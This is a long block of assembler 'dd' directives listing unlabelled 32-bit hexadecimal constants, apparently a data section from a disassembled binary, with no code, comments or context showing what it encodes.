dd 0E08CC275h, 0AB18CC70h, 4620E367h, 0FA1300B2h, 7A3D152Eh
dd 0A4287703h, 0F200D8C2h, 0CD343A8Ah, 3625F65Eh, 69207EB7h
dd 893C7F02h, 87325437h, 970D544h, 0EFBE07Dh, 5534993h
dd 1CE82500h, 0AB0035C2h, 0AAF13307h, 783F5Bh, 11EAD421h
dd 0FD63CA7Eh, 59895C00h, 42351391h, 0DD3F1E6Ah, 5F7B001Fh
dd 0C3957810h, 2CD43Ch, 0DBF51177h, 2C294EBCh, 0C9F924h
dd 86340B3h, 39F8C39Fh
dd 5E1E7B16h, 0B9E80400h, 39138BFh, 182F3EF5h, 11E08B06h
dd 280F6AA1h, 9681B4h, 0AEF1ED53h, 0AFE90464h, 0C0D49DE7h
dd 5A31A664h, 0CD069776h, 0C5BFABADh, 0F8686008h, 4CDA85AEh
dd 0E3080916h, 2FF30D00h, 0F4E1A03Dh, 8C890969h, 182719F5h
dd 105A90CBh, 9300512Fh, 0C213DB32h, 4DF8EEE0h, 0C6009C07h
dd 38C0B682h, 8B0768ECh, 8DB2545Bh, 0C0477245h, 0C03EEB48h
dd 9591708Eh, 1231B0E6h, 5F4FFE3Fh, 90B4801Ch, 0D2D8E057h
dd 817E423Fh, 81B2E63h, 0DCE4A464h, 7DC0E81Dh, 47E2011Ch
dd 0E7B37F2Fh, 0C6FFD086h, 0AA000FB8h, 6CA9B016h, 51ACBAh
dd 4493B848h, 0E9108194h, 58E5F300h, 9E36BC8Bh, 0B35104CBh
dd 800F8DB4h, 0E0693D2Eh, 72566E00h, 73A54598h, 901703C0h
dd 0BC932D07h, 86DF48E0h, 0F22B6300h, 0B07942BFh, 6AED00C1h
dd 9FD9BD8Ch, 8A0385C0h, 103C30AFh, 0C54AB92Dh, 0A103D4h
dd 243FAB6Eh, 9C26A28Bh, 0B05DF400h, 1FCF88E5h, 4C101D50h
dd 0AA6B0019h, 0BBAB0F78h, 0F8409E09h, 556B03C8h, 0DEC6B47Bh
dd 2CFC0060h, 0F17DE0FDh, 25008389h, 0D2BFCC74h, 0F85C22Dh
dd 5756606Ch, 5DA830E0h, 0B30092E4h, 34475B32h, 0A120FAh
dd 0E39F8F4h, 956EFB5h, 8B3CCFFEh, 871FB82Bh, 0D53B7170h
dd 5A85C190h, 349A0076h, 0FFD30B2Fh, 0E0F4BA5h, 40677765h
dd 452A786Fh, 367E1CC3h, 6B8CBE08h, 0AF082947h, 48025EF6h
dd 0A37205FBh, 4167C357h, 0D4D5C9C9h, 2F2CD4h, 0E987E8A8h
dd 91A44B44h, 0D80736F0h, 0FE2B27EFh, 3592E2B0h, 74B80285h
dd 0E67D8B53h, 0F752F880h, 0E700D0A2h, 770E4326h, 285D6656h
dd 0F09D3B3Eh, 6D870F51h, 0F2A08106h, 0D4ED7AC8h, 27737C98h
dd 0E62A1600h, 3A10C278h, 0E2D90072h, 48E17A29h, 0E4000575h
dd 8F16FE55h, 0FBCDF21h, 7F189E53h, 5848742Ch, 696B0E00h
dd 0C6944668h, 7C76FDh, 0DD7477F0h, 372A609Eh, 85D3E200h
dd 0BDAE6CAh, 0EF9C0148h, 55870379h, 0A33ECA1h, 22C23207h
dd 0FD00ECE7h, 0A3D873h, 2E994A3Fh, 2C88DB96h, 6F7D7E00h
dd 0BC92F29Bh, 0A1C0009Eh, 314AEE10h, 45001FAAh, 135C1D8Eh
dd 1A2707Fh, 72C32F50h, 0CC477960h, 0F11ECCACh, 0B8FFB0E3h
dd 0DA918042h, 5809FF15h, 45C0001Ah, 0D7485775h, 3CFAC428h
dd 422DCD00h, 2647FE6h, 41CB242Ah, 7303002Bh, 2B7628ADh
dd 19F84907h, 4D600B4Ah, 0B10D71h, 6FDEB6C4h, 0FDED988Bh
dd 0CED21C07h, 7CC0C612h, 539B8Eh, 0CBF7A07Dh, 389F1896h
dd 6C55EF00h, 0A5D82AB1h, 0B4CC0007h, 324AF2C7h, 0E000C3BFh
dd 4B5BC108h, 319CD9Ah, 96F75531h, 0F0A64971h, 2C3BB700h
dd 5A14188Fh, 1C2D78CFh, 0BF325FA9h, 0C39D8200h, 0FDA050BDh
dd 296C2016h, 4F48B0h, 8990FF71h, 591FBEDBh, 0E1A5110Ch
dd 38BD59A1h, 64812CAEh, 9BE33B14h, 0D0FDC978h, 0E4003F20h
dd 0E97D5287h, 50808BB4h, 0AE14A3h, 94BB364Ch, 1F2C8C33h
dd 0CA7023F8h, 2FA66F0Ch, 3417604Eh, 0C670CDF8h, 2B3070B5h
dd 2F7A9EFh, 87BC00BBh, 1D4115DFh, 3E1427B0h, 784B719h
dd 4C2EA430h, 2812A0CFh, 0C3DD898Ch, 0F0C9BFB8h, 0B19807F5h
dd 71DB30FEh, 0A700E61Bh, 0D64D1A04h, 72830B78h, 92C50096h
dd 96BB6CBh, 44391670h, 370F8B23h, 7FDD801Bh, 0D48760h
dd 0B88A5B47h, 0B910962Dh, 0B4683101h, 3B171563h, 646E18D0h
dd 20BF287Fh, 807091B4h, 0E98B139Fh, 8605E007h, 0FF10297Ch
dd 0CB116F35h, 6A091916h, 4310B779h, 2300D552h, 405FCDD9h
dd 0CADC74h, 4CF4DF65h, 2AA09C4Dh, 0B3A10700h, 0E4FA6E2h
dd 25C02441h, 0FE0138C2h, 249C4576h, 2D837088h, 169D7400h
dd 25F45E21h, 40F6F6h, 7B60F72Ch, 1B9BE94Eh, 97584500h
dd 0B66C9650h, 55ECF2h, 32A7E5D6h, 0C0BD9F4Bh, 6BA65200h
dd 786CAA66h, 0EC73AFh, 47B636E1h, 0C9D58821h, 3809140Ch
dd 48F81872h, 6F179DC3h, 59E700A9h, 56C96AB4h, 6900D078h
dd 0BCB191CFh, 0FC5E77h, 5AA31B1Fh, 167F502h, 0AE00D9F0h
dd 6B99F0D4h, 76EAC3h, 41A1A93Dh, 0E88D6D34h, 7FAB1E00h
dd 7569DB98h, 47B3A0FFh, 6A25002Bh, 0B3E80838h, 8B2EDD7Ah
dd 5800AE79h, 0C18461F9h, 0DAB00CDFh, 0CA90EC88h, 0ABA14300h
dd 38E72F90h, 7F6D03A8h, 6E5CF9Fh, 4296CAF0h, 87F50C3Ah
dd 0C995B9D0h, 0C4B0E0B0h, 3F1800A2h, 23F91B88h, 15001413h
dd 64F40840h, 9685DEh, 1B528153h, 454EE892h, 0BFDFFB00h
dd 9B1ADA63h, 0B060C962h, 0D6743700h, 0E100DBF7h, 6EBEBA51h
dd 7B738736h, 0CE7DA9h, 1453824h, 394B7882h, 6896A00h
dd 84EDDB0Ch, 73600014h, 0A159A76Fh, 0C400097Bh, 8A92D8ECh
dd 7DFFD5h, 0BD3311CAh, 8C125217h, 0F7B26A00h, 1DA7FB4Ch
dd 58B107E5h, 20BCAD22h, 54A931CEh, 0A85E6D00h, 3A6B4BCCh
dd 75590045h, 468724AAh, 0C426ADCEh, 13009C1Fh, 7FD2D99Eh
dd 900CEC3Bh, 0DCF20073h, 3EA10B44h, 9803920Dh, 6B1A1CE9h
dd 4F0688E8h, 3FE00Ch, 500922C1h, 0EC7D5BF2h, 0DE8B292Fh
dd 0A6C700CDh, 3489F6D7h, 10705F00h, 0D9874D26h, 1A6005BBh
dd 87820305h, 83EA0032h, 8C00F1CFh, 45469FF2h, 0E109D2h
dd 1B31C02h, 95A5C9C8h, 0E4D47818h, 9E4C20h, 0B91B327Fh
dd 18C91A5Ah, 0C1905000h, 6154EC6Ch, 0AC2038EDh, 838CA700h
dd 5111C936h, 24D72C00h, 0F2878802h, 6BEC1FD4h, 0DCAC0026h
dd 0A27AEDC7h, 2F005FFEh, 0E06A1DA0h, 30FDF3h, 42585EA1h
dd 25BA546Fh, 5FDD3B00h, 2460AA27h, 0F4CF01D2h, 6974CEEEh
dd 0A604CCE6h, 0B54BA400h, 0AB80CC63h, 4D1F002Fh, 89EF3B2Ch
dd 403D1AD8h, 96EA0088h, 0E3C89705h, 521807FDh, 0CF249083h
dd 0C0019FA0h, 0ED7B05DEh, 0EBD3CC1Fh, 0C5802E1Fh, 827E5A65h
dd 38D9E8D2h, 0B300B7B6h, 2D994714h, 80006E31h, 513C013Eh
dd 38AF7A97h, 7F801A89h, 611D8A13h, 0E100B096h, 0D6A8D3EAh
dd 2CB8AC5Fh, 3C89520Ah, 0DF4AE80h, 0E408E8B0h, 986D1130h
dd 9819B2AFh, 2B02005Ch, 1462DC44h, 0E3761EEAh, 278E9800h
dd 77929733h, 9FAF0922h, 1F814C4Ah, 800CFB8Bh, 0E566CB72h
dd 16D530Eh, 91FFEFDAh, 70BCCDB7h, 9807097Ch, 8E590610h
dd 0DC41B600h, 0C1A20014h, 479B8440h, 0A33BE535h, 9F1001BEh
dd 17B7D9B0h, 880DFCh, 2FF7735Dh, 5C488A32h, 37FB8F00h
dd 0E928A655h, 0F5ED0791h, 117C62Bh, 20DDAEF9h, 1C0E0A4Bh
dd 20D9C7E5h, 0C84314D8h, 0B78A00A1h, 851DE8A6h, 0F205785Bh
dd 2FC6B0B4h, 0B82F82BFh, 0A9E33FC0h, 0D5124103h, 90E792C3h
dd 0ECD86h, 0E50A29E6h, 4448C06Eh, 0AC4DCE03h, 8778AFB3h
dd 0A0F31AE0h, 0F2FA98h, 87CCA6D8h, 6A3F7158h, 482D6809h
dd 81600A4h, 0FA052E78h, 0F9EA00DCh, 43B4076Eh, 1200D93Ch
dd 0CE279BD6h, 60493Ah, 478EBA9Fh, 89799369h, 0A0E10E02h
dd 5DC0A818h, 25F26660h, 8E65F316h, 201EE80Fh, 1FDED1BEh
dd 262000F4h, 0A50D68FEh, 28008A0Eh, 0A94977B4h, 60C7BA2Dh
dd 9B50F8ADh, 0D707AB08h, 8542F4A6h, 4E5E1150h, 0BDA700D6h
dd 0C7950FF2h, 69029A60h, 0F6F92256h, 0CF34409Ch, 1AAD03DFh
dd 0FF10582Ch, 0CBAAD0E0h, 6D9C7400h, 30570924h, 43862CDAh
dd 0F52082h, 6F994C38h, 0E3F20A32h, 4E33F300h, 6CD2282Dh
dd 27550092h, 7B0E90EAh, 9F09C2E9h, 7CACD12h, 0A0709392h
dd 0CCCED6h, 0EC1DA98Bh
dd 4FB7D333h, 56189200h, 5A99E978h, 0B7C00CEh, 376F81BDh
dd 0A2004524h, 56A7B363h, 18E35C3h, 0FF959F91h, 0C8FEF264h
dd 363990F8h, 3AA20051h, 16D94DDFh, 0B55003F0h, 116D4E79h
dd 70AA5EE9h, 0F37A0D0Fh, 10B7B900h, 207C2474h, 55E80095h
dd 0C1D9EE18h, 0AEB06D9Fh, 596A0F02h, 0C0D086B2h, 348E7Ch
dd 0B9EB73C8h, 0F0954DFFh, 5E20DD00h, 7B9A8329h, 13180087h
dd 9D8A9FF4h, 7700F8EFh, 0B48D45BDh, 5580A2h, 56FFB8DFh
dd 2B6307E5h, 0F934BE00h, 1E84B10Ch, 953C002Ah, 368D6A2Fh
dd 0C50E716Fh, 0A028AC86h, 33532047h, 94340096h, 0E709690Bh
dd 0CE07371Bh, 9179F8DBh, 0D703A5A0h, 933D1CCCh, 0B4820763h
dd 0B71690E1h, 98006E62h, 92487A15h, 0B803F8h, 0AA3F57F2h
dd 0EE4ADD96h, 9865B700h, 0D34D16D8h, 0EF0403C0h, 4B0975FEh
dd 0F1897000h, 0BD5BB9F2h, 186C60B6h, 183559ABh, 867502B0h
dd 0F79848F8h, 890058F6h, 4E8BE1C0h, 3CA18EA5h, 6DB01A87h
dd 8D539E38h, 0E4B0370Fh, 0FDEC01D0h, 6E008EBh, 7D6700C6h
dd 9F8D89E3h, 0B300A6B1h, 4D2435A9h, 0FEEA2D8h, 1AB8CCECh
dd 0E0FEC667h, 0E3D45B42h, 0D0C1DD1Fh, 0E7D644C0h, 0B0F926CAh
dd 3B58006Dh, 83248E01h, 4B09D972h, 85A276h, 0A9CCE434h
dd 0A11B0003h, 0F9211AA6h, 0C20042C8h, 0F8543238h, 620C72h
dd 6FC6E952h, 101E12B7h, 9AC487A0h, 9BC35Ch, 8C94AEADh
dd 26B7FE5Eh, 0C572D8h, 38932063h, 2B00EF5Bh, 0FB65ECA2h
dd 18C4A26h, 83CB5145h, 0E40277C6h, 9A001149h, 38642BBAh
dd 0F6EAD05h, 6B91BFFEh, 94D6C11Fh, 0FCD75D93h, 4C004D04h
dd 10083042h, 325A36Ah, 0BF85C858h, 0D589B6F8h, 87E5E836h
dd 43B02600h, 0C060A633h, 5FA002Bh, 250E77D3h, 610C3772h
dd 88AD5ED6h, 7677501h, 0A8CC1AA9h, 7634A0BAh, 0B00CDAFh
dd 8F46E1FEh, 0D98664h, 0ACB644EEh, 0DFAB2B0Ch, 0BB7AFB00h
dd 43D02AC6h, 5231249Eh, 0FA090058h, 0B9E21D1Eh, 480E750Fh
dd 0FBC6604Dh, 798FFBAh, 78DDB831h, 0B5190F9h, 0F000A51Fh
dd 0E85A6071h, 1DDC83h, 9E8BEFE4h, 11E7C45Fh, 0D4462200h
dd 803A22Ch, 21CB0364h, 86BF65E0h, 72F004EBh, 0D300D11Fh
dd 66D254C3h, 1CB705C6h, 0C0AFD5B9h, 5D085615h, 0DF002407h
dd 0A27EA094h, 454412h, 23F441AEh, 0BC787527h, 469B1900h
dd 0F7702613h, 3FEE0038h, 103345A7h, 0CA014ED6h, 44DD9AA2h
dd 57F04743h, 0AE990FABh, 0E1E60931h, 83004824h, 6506F07Eh
dd 3D1CBE5h, 0F7C9035Bh, 91B862D7h, 0E6004349h, 7582280Eh
dd 25AB8Fh, 0CE47E105h, 762B0B3Fh, 0A231C000h, 0A1DE5E7Eh
dd 2DFF006Eh, 3D778B46h, 10000ABFh, 21C01578h, 0EA8AEDh
dd 6B0C8E5Ah, 0E7A93959h, 2CFCC20Bh, 62CF0032h, 1FB103Eh
dd 517EBF7Dh, 808A4FAEh, 475A4E18h, 0B9E342h, 11F37073h
dd 12351D4Ch, 0AEF604B8h, 0A5182E00h, 0C244ED02h, 7C960308h
dd 9C4C36EEh, 826387E5h, 4340425Ch, 0C0EC999Fh, 0B1765101h
dd 0C298FB33h, 0B074B820h, 37D800B7h, 0B9D5B3E2h, 8300C1F4h
dd 70DF249h, 50AC26h, 2B12F7CDh, 0CED0E3C4h, 38028301h
dd 5C469082h, 2A5F8FCh, 0B9A15A7Ch, 2760979Ah, 701CC5F5h
dd 0B87FD1h, 5406B5AEh, 0DFD616h, 0E4E72E3Eh, 30DBAC8Bh
dd 639CA200h, 3236FE1Fh, 650100FFh, 6E512B53h, 6B013CC6h
dd 41C817F3h, 31DC0FB0h, 687A001Ah, 3E1CF270h, 0A901A736h
dd 4AECDCCEh, 0FD70696Bh, 30DF0F5Bh, 0EA00A395h, 0ABF7BAD4h
dd 1A007398h, 5EEE7AF1h, 18FF4CF4h, 2205949h, 83002722h
dd 0FB9DDD6Dh, 3FA7CDh, 0CCC68C97h, 0F8B0765Ch, 2A6E6300h
dd 16191B87h, 0BBF10374h, 7509D2DDh, 85E818B0h, 0E178C00h
dd 9BBC8D7Eh, 0AFA500DFh, 0F643D6F5h, 0D6B878EEh, 3D3EBE03h
dd 0B00E5EB5h, 24E1AB3h, 430D92Bh, 0ED406286h, 4300545Ah
dd 77DCF219h, 3E3C53h, 70202B25h, 9973FF7Ch, 0F014AC00h
dd 0B3C688A3h, 0A830EEBh, 77C1932Fh, 0E0BA9D51h, 0FB009005h
dd 0ABE24207h, 7997605Bh, 0D2DC00B7h, 0EE64B5ADh, 35071753h
dd 0F3238EDFh, 85D0C0F0h, 923700C4h, 7D443C21h, 0CB005C1Dh
dd 0E8A7A133h, 0C74310h, 5796D6D7h, 98063704h, 0FC0C600h
dd 0AD814A72h, 0DD8E38EDh, 3CCDE92h, 0E66971C7h, 2F701000h
dd 2A2CBEDCh, 8B8200C4h, 0B5A784F3h, 402C721h, 0D9E94507h
dd 2802C0C8h, 2F85000Ah, 0BF619F94h, 560041D2h, 39F8F00Fh
dd 43D795h, 0DE7D1324h, 0FB1EA35Bh, 0D5B15D00h, 41E8D4CEh
dd 0BF9C0011h, 1C34D138h, 50000E13h, 0C2496F55h, 33A6859h
dd 0DA2BFEADh, 828831E9h, 63073C9Ah, 5EAC6236h, 6A5AA80h
dd 0DA3D0074h, 7820344Bh, 0D73B8F2Bh, 6EDF8053h, 3FFEACD3h
dd 957AFDh, 0E820DA74h, 911F6238h, 32BDCD07h, 1880A637h
dd 0F3A027h, 0E5FC8088h, 1F082384h, 0A3B3F900h, 0C3BFF72Dh
dd 0C08BE8FDh, 0E7FADF20h, 9AB0AFFBh, 18B99900h, 2A7AC04Bh
dd 0AC5B03E0h, 0D071EA7Bh, 0F99F2998h, 0A8EE8639h, 241FFFB6h
dd 8440286Fh, 3A887916h, 0C61E1891h, 8535295Bh, 522AFD00h
dd 15F5C14Ah, 0F64D001Ch, 0C50E41DEh, 0B876A134h, 0F9B22100h
dd 0ED570555h, 0AE1300CAh, 8DA4C1Fh, 72007F82h, 3A7196CEh
dd 0F025066h, 44AFAD77h, 53A509C0h, 0E8E8FF9Bh, 7874BE00h
dd 67EAA9D7h, 0F5E10F93h, 0D50308B9h, 0E9B02A69h, 0BF00B32Dh
dd 87516F54h, 63C059h, 61067678h, 0D6B53EA5h, 13BE3600h
dd 290CDD3Ch, 969700C4h, 55E4F737h, 7C7ABC02h, 0E916987Fh
dd 0F400B21Fh, 9FADFF90h, 5D431EA6h, 7980BAA7h, 0C4BAED16h
dd 0D007FC6Ah, 28FA1580h, 56E00500h, 573500D9h, 8AB58FC2h
dd 0F40BBC29h, 80777BD7h, 3466B3C8h, 17AD00E9h, 188CCE8Bh
dd 500C9B5h, 264194B0h, 1E756AC1h, 0CBA1528h, 7F11B190h
dd 0DA47BD00h, 0D985F106h, 0E5F40093h, 9C91EE8Fh, 5700ED9Dh
dd 0D68983ACh, 72BA67F9h, 9FB900C5h, 6BE630E4h, 9500E26Ch
dd 0C86317E9h, 0E2FD58B3h, 19E40093h, 20BD839Fh, 970081C4h
dd 3EEA8FDAh, 7C808CAEh, 0BA7768h, 0A44DA3F2h, 0E6CF2D0Bh
dd 745C2490h, 0FD2600AFh, 9BE4520Ah, 85FE25h, 0CBEB464Fh
dd 868DFCDAh, 8E5DF007h, 5770A8B4h, 0A5C1D9h, 22E14783h
dd 0B350254Dh, 0C588B900h, 0B09C9D01h, 59F01641h, 0DD0B03FFh
dd 0A6B04D89h, 9D766611h, 0E88AC301h, 0DA58F0AEh, 0FC2DF8EBh
dd 366A008Bh, 751141Fh, 13008F54h, 0DF237A5Ah, 2C606F66h
dd 13C20670h, 50FD0068h, 855E5A65h, 4C052605h, 0E6C31D2Fh
dd 4A15F0B1h, 4470DCh, 944684C7h, 938C0B3Ah, 28D39500h
dd 0A105F416h, 7C1E1369h, 331C00F9h, 81B5462h, 119A3D00h
dd 0E2A55950h, 4D72A8h, 0D8C76EF6h, 578E956Fh, 0F541C500h
dd 0A1F31C32h, 81B501D3h, 2558DF9Ah, 0E049D8E6h, 874C6E00h
dd 99591D08h, 0DCA40077h, 9D117C98h, 0ACE657ABh, 1D1CF500h
dd 70F993BEh, 36840018h, 0B79E834Bh, 6B0F8042h, 0E01E7C24h
dd 65B0AFECh, 50FCB1h, 0FEEB389Ah, 2AA32587h, 0F4971B00h
dd 0C005DADCh, 798100CCh, 0E1EA549Eh, 98003AFAh, 0A0F10494h
dd 3E06622Dh, 0CC870C09h, 6F5608C3h, 26C4F2C0h, 0FB00799Dh
dd 0E4C88B8Ah, 45D0BAh, 0E59C7B8Fh, 4DD7232Fh, 0A9D19A01h
dd 58C36722h, 0E7AD8D4h, 263F116Ch, 6242FE80h, 0A70F3A66h
dd 807D0678h, 84897A36h
dd 5FBC1C53h, 9D6200ADh, 38CE9644h, 0ECC03BFEh, 33FFDD4h
dd 0EB798B7h, 0CBCDEAE0h, 15B44600h, 5C38457Fh, 538009Ah
dd 0E3541225h, 0A7C028B5h, 0E26A2888h, 6D20096h, 0A48A25ACh
dd 94F0F91Ah, 804C0E3Ch, 17A1B399h, 1E8EC5C6h, 0EA2656h
dd 809A27E3h, 525C7BD6h, 0ABB750B4h, 398C9F00h, 0F4D5FCBAh
dd 914900ACh, 0F2F67E90h, 0E300186Ch, 2D5CFBFAh, 0ABA136h
dd 5F4BD7DEh, 0D6F4E735h, 0D81C6B03h, 90D31EF9h, 58AFC790h
dd 0E80008E5h, 13EE0673h, 3EE143Fh, 5B7EEC00h, 82894A8Ah
dd 0BE7D0743h, 0F0A90A20h, 3B8D7A96h, 6304DE00h, 9FB7CD9Ah
dd 10531467h, 0EA40F4F6h, 0EDF00038h, 0E0EFECACh, 0D003D9C6h
dd 0A980E1DDh, 0F597E091h, 5649009Fh, 815F35EBh, 3800F155h
dd 0A309592Fh, 173EDCh, 0E609DE3h, 657E7A91h, 0BA1A3F00h
dd 5C43B8F1h, 7F7132h, 532F86F5h, 185D8DBEh, 70013EEh
dd 20CBABAEh, 1FC825h, 9AA423B6h, 55B97217h, 0B800CAE8h
dd 0DD365DAFh, 15447B0h, 903A213h, 0D0FED686h, 7E00DFCDh
dd 0F44A3DE0h, 3DC64C1h, 44F5021h, 0EB896DAFh, 0F660F6DEh
dd 2F00D2CBh, 0E0A24EC2h, 3871275h, 90C19C62h, 1ED82631h
dd 0C7001977h, 2A186DEBh, 0DCB7A0h, 1322A66Ah, 745BF9B8h
dd 8252EE0Fh, 0CC9260EFh, 1D507Dh, 5A23676Bh, 564FB9E9h
dd 0D49AA000h, 59FFDC75h, 0E3D93BC4h, 5DD2A382h, 9EC06BC1h
dd 263E0F7h, 90CA5B8Ah, 0EC67E4h, 68CFF5B8h, 791788CEh
dd 0E15A5800h, 0AFEE604Fh, 8B161C7Eh, 95A34228h, 3D603399h
dd 0EA00B9B0h, 0CDD6E03Fh, 0DB2363h, 6EEF9FD2h, 8E9822ABh
dd 4D6B1600h, 39AF62Fh, 7C5D001Eh, 967A97C9h, 4C7F20EAh
dd 1A5C73Dh, 4BA46B2Dh, 76E56C9Fh, 0AD44CE80h, 3F7A7CB7h
dd 3ABE8F00h, 0BC260A9Bh, 67663942h, 0F0B1E780h, 7F08880Bh
dd 0ABC20400h, 0CB370D17h, 0C63D0302h, 0B1D3F5B6h, 7816E990h
dd 0BF61876Eh, 1377FE00h, 485ED033h, 0A401A664h, 0E49137EFh
dd 78B0F0BDh, 0F6346714h, 81C80008h, 112562A2h, 0E1311D97h
dd 899E803Dh, 2838CA86h, 60359C33h, 4B46003Ch, 0A6C4787Ch
dd 0F077605Eh, 0A2F41300h, 0DFFC24AAh, 0FA350031h, 5484FE98h
dd 1600AB38h, 0AEB78A9h, 1FA53CE3h, 9E1CE961h, 0B010D86Eh
dd 0B9C33FECh, 0E08BFFC7h, 1A4428Ch, 0D855807Ah, 8A7FC4DAh
dd 1483BC20h, 640E7B10h, 7700CCE8h, 0DA9B7585h, 7DBD6800h
dd 0EFC96012h, 91B0769h, 0E0BC9D1Eh, 0D5B377FDh, 800EE900h
dd 7DE7B7EEh, 3C100E1Ch, 0FC00D4C9h, 28C4DEDh, 6A8A0900h
dd 8BDA832Fh, 0EAA807BDh, 0FE2BB21Bh, 2780BEAEh, 817E9DCBh
dd 9A00EFF4h, 2D1595C7h, 0D13170h, 722C1913h, 55E7C5AEh
dd 6E7D0100h, 0A1B194CBh, 24343A53h, 7B3C0D00h, 71D92169h
dd 0E833C103h, 0A130F6DDh, 209FA395h, 9B200049h, 33CA9A96h
dd 0AC00A7E8h, 48A8F95Ah, 0F511162h, 0AEFC185Bh, 0A645C0C3h
dd 0F4857FE0h, 14AA1207h, 8FBE87C7h, 0B81C002Ch, 6094E8Ah
dd 6D1195E1h, 0EE600864h, 8835A921h, 4F1F00ABh, 82C9B115h
dd 35B097BDh, 5B9358C6h, 0D353028h, 76183C08h, 0C544A400h
dd 968F2F60h, 3E4E00C3h, 0D4F5270Bh, 77582658h, 0AD7A0057h
dd 1ECA6E3Dh, 3248C33Ch, 94F047DFh, 0F70E390Bh, 8C4012EAh
dd 0E24B694Ch, 305A0047h, 0E8776FC0h, 32012E3Eh, 5E9962DBh
dd 6DC9466h, 0B7F53390h, 0FC11661h, 0E670A844h, 9FB66C00h
dd 69501798h, 0C97D66h, 0E84649B2h, 742FE2E3h, 0B65F100h
dd 6FE0BDD8h, 0CD70057h, 0F7413A88h, 58953695h, 2D8C00A3h
dd 0D9DA4481h, 9E713834h, 363C4D00h, 240957C9h, 0CC5E189Bh
dd 0C48118CAh, 0C2E5B100h, 0F1C6961h, 588000FCh, 5C8A2915h
dd 8200735Eh, 907B109Eh, 7FBCB022h, 32E4ED46h, 0BD8E0051h
dd 0BFFF11B1h, 0A3031C68h, 0EC4CE6A1h, 46042C9h, 44EEEAB1h
dd 0F8042A18h, 0E307E041h, 5500E51Fh, 2AAD1140h, 0BC5F5C87h
dd 9A81BE3Bh, 6FF12AAh, 0E46DE960h, 2A07F05Ch, 0FBDD1661h
dd 154E4230h, 23F83089h, 0C0138C50h, 0CE047107h, 9DB08D73h
dd 75962A0h, 0D2AA3125h, 0CE2E7C0Bh, 0FA1403E0h, 0F3206652h
dd 18A3FAAAh, 780081FAh, 3CC7D4ADh, 3AC816EAh, 0C8606284h
dd 0F7FEF486h, 380C2500h, 0EEE9E1B8h, 11266008h, 0FBAB8C4Ch
dd 53506D00h, 0AF1F1531h, 0A2E32E76h, 8018353Bh, 0FE8AC2C2h
dd 0B86BF90Fh, 99690449h, 67808284h, 32B4E87h, 0D41C5150h
dd 88009479h, 0CD6F3A46h, 0DFF137Dh, 2CCB8C93h, 83B40850h
dd 0FA8D7E18h, 0E2EFBD20h, 18350122h, 72A18F3Ah, 9E618312h
dd 0D50451Bh, 33E9B5B0h, 0C7200811h, 0E6C8EA02h, 3E398CE1h
dd 2B077F11h, 2FEFE2C0h, 0F156E528h, 0D027C240h, 48A0E0C0h
dd 0CA49004Fh, 1DB7CF99h, 23032047h, 553FAAF3h, 6F180042h
dd 30A82524h, 80683A0h, 0C16C27A1h, 2016FE40h, 0CE01B9F1h
dd 33A2946h, 81C88AD2h, 0A8FA003Ch, 0F8F56114h, 71727591h
dd 60FCE73Dh, 5D97E918h, 15D000CCh, 983F5E7Eh, 5A151E04h
dd 720D305h, 5C0EF52Ah, 3E7F66C2h, 1FB820h, 8AD5C3ECh
dd 302334C0h, 0A067C800h, 81EF960Ch, 932A0657h, 18DFC552h
dd 6C39910Ch, 3C69C8D1h, 410F9208h, 20150EDEh, 5063C683h
dd 55042A8Ch, 28CEEBEDh, 0C45703A8h, 0D55369D6h, 685D68ACh
dd 402010DBh, 0DDAD96FBh, 80BE7C31h, 1E1AB991h, 602BA321h
dd 6264D182h, 0D0400846h, 98475665h, 0DB965800h, 9F1FA248h
dd 0B408D481h, 0C9C53A10h, 288D6584h, 0B89B2ECBh, 404015D6h
dd 4AE629E1h, 6C100420h, 2A2A4714h, 4D39C035h, 5CCAA0DCh
dd 880F3B8Ah, 0E7A1C0B2h, 20DB4229h, 0FC005D20h, 3111A187h
dd 3EBE19B9h, 501ED2FAh, 0A5C54081h, 0FDBDB714h, 0EF48002h
dd 98E0EB8Dh, 1163AA20h, 0F2BA4031h, 71011EF0h, 0B6BB4BB9h
dd 211BBF38h, 0CAB0E0FCh, 0B24676A4h, 0B1FB53B0h, 7D1A8810h
dd 64284A8h, 93FB3680h, 7C42ED1Bh, 1E1ECCA2h, 69127909h
dd 4BA851A0h, 52107920h, 0D5A94851h, 0A1050E03h, 784E1785h
dd 41C01060h, 0FFC2D023h, 0C11504D1h, 0CD445527h, 0A1DE4A8h
dd 0B5BEB008h, 0C710F882h, 404CC899h, 0F4FD081Ch, 0ACF881E9h
dd 5F479Ch, 844A1A8Dh, 8FAB15CCh, 509D1888h, 760C1DBAh
dd 0C0B99364h, 9EA446E9h, 0C2A0CC50h, 4A10281Dh, 14A8FAB7h
dd 81809D43h, 84DD6B6Ah, 0A7A1BA8Fh, 2F1DDD40h, 0E01E158Dh
dd 0FCB32083h, 1068814Ch, 32844029h, 4602C1Bh, 4F0C71F5h
dd 3C082A7Fh, 40EC59EFh, 85D8E408h, 1CF04C62h, 9C627E04h
dd 407C791Fh, 8C6C8287h, 40BC7BFEh, 0B3C74443h, 7A7962D4h
dd 8030533Eh, 7B28B7C0h, 828F786Eh, 67BF974h, 0A6BD0A14h
dd 0F140622Eh, 62418068h, 0AAB7FCA9h, 0D9C61614h, 0DF2C60E3h
dd 0B516BC91h, 0CC2A6D43h, 0D492377h, 811C4CA6h, 54B11E88h
dd 10842575h, 930ABD6h, 0B9E32D6Bh, 74C0A448h, 68C64D13h
dd 8CDEBCF0h, 0FBA2028Eh, 7F771917h, 5310338h, 0B35646E1h
dd 0A9C0BBDAh, 6DACF8h, 9DDF47ECh, 7DBF12D1h, 40975500h
dd 5B16A9E1h, 57D27C7Ch, 402220E9h, 59CE2F08h, 69600081h
dd 0BE56875h, 6596BA00h, 0F8AC0ACFh, 9FC70386h, 954217D5h
dd 4120F1E0h, 0A0FE32E2h, 0FE3283Ch, 821BDDEh, 5EC6E063h
dd 9D4781B1h, 38BCB2C4h, 0AA90108Ah, 0A5BAA88Ch, 1C988140h
dd 1FA020EEh, 0BB60A621h
dd 2BE9D50Ah, 0C2203A33h, 41CBDE2h, 1DEE66A3h, 424E7C9Bh
dd 0AB180CFh, 23268A52h, 56E1A1E1h, 20B2C96h, 0E8FDF392h
dd 0EA213EC6h, 2C94594h, 297149A0h, 54521F15h, 0ABB0C02Ch
dd 0FF575350h, 97FE8440h, 0A1FA228h, 89481C6Bh, 5E4AF89Dh
dd 0C3013347h, 0D8AA420Ah, 8205EB3h, 5B2C965Ah, 0D5E1B8C1h
dd 463E1F9Fh, 0AA158EC3h, 2F96016h, 0CB07804Bh, 6262F10Ah
